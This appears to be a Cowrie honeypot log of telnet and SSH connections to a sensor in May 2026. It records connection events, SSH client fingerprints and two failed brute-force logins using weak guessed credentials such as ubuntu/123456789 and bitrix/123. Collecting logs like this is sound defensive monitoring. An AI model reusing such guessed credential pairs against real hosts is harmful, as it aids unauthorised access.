{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":36986,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9b8d81e229","protocol":"telnet","message":"New connection: 50.6.18.72:36986 (159.203.135.109:23) [session: be9b8d81e229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:34.845035Z"}
{"eventid":"cowrie.session.closed","duration":31.120352506637573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:36.702083Z","src_ip":"50.6.18.72","session":"3301d40cbeca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972893714904785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:36.768098Z","src_ip":"50.6.18.72","session":"9fac1e6c6ded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50412,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bf23c659512","protocol":"telnet","message":"New connection: 50.6.18.72:50412 (159.203.135.109:23) [session: 5bf23c659512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:36.896818Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"466f798ba908","protocol":"telnet","message":"New connection: 45.58.127.90:58222 (10.17.0.5:23) [session: 466f798ba908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:36.979410Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58234,"dst_ip":"10.17.0.5","dst_port":23,"session":"53455937789e","protocol":"telnet","message":"New connection: 45.58.127.90:58234 (10.17.0.5:23) [session: 53455937789e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:37.044579Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50416,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d14fda4550","protocol":"telnet","message":"New connection: 50.6.18.72:50416 (159.203.135.109:23) [session: 04d14fda4550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:38.914141Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50428,"dst_ip":"159.203.135.109","dst_port":23,"session":"40cdd232422d","protocol":"telnet","message":"New connection: 50.6.18.72:50428 (159.203.135.109:23) [session: 40cdd232422d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:38.977305Z"}
{"eventid":"cowrie.session.closed","duration":30.890799045562744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:39.755315Z","src_ip":"50.6.18.72","session":"25bdcd7c57cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50442,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4b3b4f3134","protocol":"telnet","message":"New connection: 50.6.18.72:50442 (159.203.135.109:23) [session: 5e4b3b4f3134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:39.786620Z"}
{"eventid":"cowrie.session.closed","duration":30.451341152191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:39.809034Z","src_ip":"50.6.18.72","session":"a173cf4ed0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50448,"dst_ip":"159.203.135.109","dst_port":23,"session":"624d815e8afe","protocol":"telnet","message":"New connection: 50.6.18.72:50448 (159.203.135.109:23) [session: 624d815e8afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:41.762341Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50454,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec9f54053b4","protocol":"telnet","message":"New connection: 50.6.18.72:50454 (159.203.135.109:23) [session: 2ec9f54053b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:41.857862Z"}
{"eventid":"cowrie.session.closed","duration":32.44548583030701,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:43.583622Z","src_ip":"50.6.18.72","session":"54f39ff49372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151915311813354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:43.812354Z","src_ip":"50.6.18.72","session":"9ca33f7cfd48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34300,"dst_ip":"159.203.135.109","dst_port":23,"session":"17a1e7a5aa1c","protocol":"telnet","message":"New connection: 147.182.143.59:34300 (159.203.135.109:23) [session: 17a1e7a5aa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:43.887903Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34304,"dst_ip":"159.203.135.109","dst_port":23,"session":"23eca5cb1718","protocol":"telnet","message":"New connection: 147.182.143.59:34304 (159.203.135.109:23) [session: 23eca5cb1718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:44.103408Z"}
{"eventid":"cowrie.session.closed","duration":30.48898410797119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:44.851849Z","src_ip":"50.6.18.72","session":"7cc67fe33f3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47002,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d59b39708c","protocol":"telnet","message":"New connection: 50.6.18.72:47002 (159.203.135.109:23) [session: 15d59b39708c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:47.939513Z"}
{"eventid":"cowrie.session.closed","duration":31.113901138305664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:48.142964Z","src_ip":"50.6.18.72","session":"a634bf90d767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47018,"dst_ip":"159.203.135.109","dst_port":23,"session":"669df8ebaee8","protocol":"telnet","message":"New connection: 50.6.18.72:47018 (159.203.135.109:23) [session: 669df8ebaee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:48.245308Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.191.221.66","src_port":32757,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d260932f75f","protocol":"telnet","message":"New connection: 196.191.221.66:32757 (10.17.0.5:23) [session: 3d260932f75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:49.209338Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47024,"dst_ip":"159.203.135.109","dst_port":23,"session":"cab03c867d6d","protocol":"telnet","message":"New connection: 50.6.18.72:47024 (159.203.135.109:23) [session: cab03c867d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:49.836442Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47026,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7ebf7f79089","protocol":"telnet","message":"New connection: 50.6.18.72:47026 (159.203.135.109:23) [session: a7ebf7f79089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:51.059160Z"}
{"eventid":"cowrie.session.closed","duration":39.529231548309326,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:51.164913Z","src_ip":"45.58.127.90","session":"5ddf8a306442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.65941572189331,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:53.492727Z","src_ip":"45.58.127.90","session":"a9c1c67ed204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.916412353515625,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:54.488634Z","src_ip":"45.58.127.90","session":"894072c65ceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.991336345672607,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:54.879105Z","src_ip":"147.182.143.59","session":"17a1e7a5aa1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47036,"dst_ip":"159.203.135.109","dst_port":23,"session":"e95a843bcc21","protocol":"telnet","message":"New connection: 50.6.18.72:47036 (159.203.135.109:23) [session: e95a843bcc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:55.404960Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42846,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c476496cdd4","protocol":"telnet","message":"New connection: 50.6.18.72:42846 (159.203.135.109:23) [session: 3c476496cdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:55.970104Z"}
{"eventid":"cowrie.session.closed","duration":12.853569984436035,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:56.956856Z","src_ip":"147.182.143.59","session":"23eca5cb1718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42856,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbad4f5babe9","protocol":"telnet","message":"New connection: 50.6.18.72:42856 (159.203.135.109:23) [session: dbad4f5babe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:56.977329Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42862,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f378d0062ca","protocol":"telnet","message":"New connection: 50.6.18.72:42862 (159.203.135.109:23) [session: 3f378d0062ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:57.413424Z"}
{"eventid":"cowrie.session.closed","duration":31.247063159942627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:57.938622Z","src_ip":"50.6.18.72","session":"3a0dec838cc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.506166696548462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:58.136397Z","src_ip":"50.6.18.72","session":"ee82728e8211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42878,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ded38159a28","protocol":"telnet","message":"New connection: 50.6.18.72:42878 (159.203.135.109:23) [session: 7ded38159a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:59.318613Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42894,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e6d4c6f603b","protocol":"telnet","message":"New connection: 50.6.18.72:42894 (159.203.135.109:23) [session: 8e6d4c6f603b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:00.398765Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42902,"dst_ip":"159.203.135.109","dst_port":23,"session":"c69a91e122ae","protocol":"telnet","message":"New connection: 50.6.18.72:42902 (159.203.135.109:23) [session: c69a91e122ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:01.329772Z"}
{"eventid":"cowrie.session.closed","duration":12.234048128128052,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:01.443250Z","src_ip":"196.191.221.66","session":"3d260932f75f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11109232902527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:05.956009Z","src_ip":"50.6.18.72","session":"be9b8d81e229","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":56930,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb4708f68fe3","protocol":"ssh","message":"New connection: 193.106.245.20:56930 (10.17.0.5:22) [session: fb4708f68fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:06.551006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:06.555973Z","src_ip":"193.106.245.20","session":"fb4708f68fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:06.679029Z","src_ip":"193.106.245.20","session":"fb4708f68fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38926,"dst_ip":"159.203.135.109","dst_port":23,"session":"352191c5677a","protocol":"telnet","message":"New connection: 50.6.18.72:38926 (159.203.135.109:23) [session: 352191c5677a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:07.105235Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:07.202294Z","src_ip":"193.106.245.20","session":"fb4708f68fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.108447074890137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:08.005011Z","src_ip":"50.6.18.72","session":"5bf23c659512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38932,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d9922ccaca","protocol":"telnet","message":"New connection: 50.6.18.72:38932 (159.203.135.109:23) [session: 19d9922ccaca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:08.266258Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:08.328943Z","src_ip":"193.106.245.20","session":"fb4708f68fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.1705756187439,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:08.336331Z","src_ip":"45.58.127.90","session":"cffc1534a8c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":60422,"dst_ip":"159.203.135.109","dst_port":23,"session":"30fbff245c88","protocol":"telnet","message":"New connection: 147.182.143.59:60422 (159.203.135.109:23) [session: 30fbff245c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:08.689256Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38946,"dst_ip":"159.203.135.109","dst_port":23,"session":"264490f6cdfc","protocol":"telnet","message":"New connection: 50.6.18.72:38946 (159.203.135.109:23) [session: 264490f6cdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:09.237253Z"}
{"eventid":"cowrie.session.closed","duration":30.587706327438354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:09.564900Z","src_ip":"50.6.18.72","session":"40cdd232422d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38958,"dst_ip":"159.203.135.109","dst_port":23,"session":"9284fd795524","protocol":"telnet","message":"New connection: 50.6.18.72:38958 (159.203.135.109:23) [session: 9284fd795524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:09.962079Z"}
{"eventid":"cowrie.session.closed","duration":31.10853123664856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:10.022544Z","src_ip":"50.6.18.72","session":"04d14fda4550","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103803157806396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:10.890264Z","src_ip":"50.6.18.72","session":"5e4b3b4f3134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38942,"dst_ip":"159.203.135.109","dst_port":23,"session":"36f9161e3140","protocol":"telnet","message":"New connection: 50.6.18.72:38942 (159.203.135.109:23) [session: 36f9161e3140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:11.632638Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":60432,"dst_ip":"159.203.135.109","dst_port":23,"session":"99e4847e6c9b","protocol":"telnet","message":"New connection: 147.182.143.59:60432 (159.203.135.109:23) [session: 99e4847e6c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:11.794788Z"}
{"eventid":"cowrie.session.closed","duration":30.760685205459595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:12.522902Z","src_ip":"50.6.18.72","session":"624d815e8afe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1199312210083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:12.977679Z","src_ip":"50.6.18.72","session":"2ec9f54053b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.75555062294006,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:14.928737Z","src_ip":"45.58.127.90","session":"f0e5b6b86db4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54408,"dst_ip":"10.17.0.5","dst_port":23,"session":"329a6fd4823e","protocol":"telnet","message":"New connection: 45.58.127.90:54408 (10.17.0.5:23) [session: 329a6fd4823e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:16.803939Z"}
{"eventid":"cowrie.session.closed","duration":39.78687620162964,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:16.831357Z","src_ip":"45.58.127.90","session":"53455937789e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"12a4a28abc2b","protocol":"telnet","message":"New connection: 50.6.18.72:53502 (159.203.135.109:23) [session: 12a4a28abc2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:18.074172Z"}
{"eventid":"cowrie.session.closed","duration":30.621493577957153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:18.866641Z","src_ip":"50.6.18.72","session":"669df8ebaee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111615657806396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:19.051004Z","src_ip":"50.6.18.72","session":"15d59b39708c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.22738265991211,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:19.916538Z","src_ip":"147.182.143.59","session":"30fbff245c88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77749752998352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:20.613847Z","src_ip":"50.6.18.72","session":"cab03c867d6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":53074,"dst_ip":"10.17.0.5","dst_port":22,"session":"557f4e88b934","protocol":"ssh","message":"New connection: 154.198.162.75:53074 (10.17.0.5:22) [session: 557f4e88b934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:20.713995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:20.719153Z","src_ip":"154.198.162.75","session":"557f4e88b934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:20.933654Z","src_ip":"154.198.162.75","session":"557f4e88b934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.155733585357666,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:21.134992Z","src_ip":"45.58.127.90","session":"466f798ba908","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"123","message":"login attempt [bitrix/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:21.811399Z","src_ip":"154.198.162.75","session":"557f4e88b934","protocol":"ssh"}
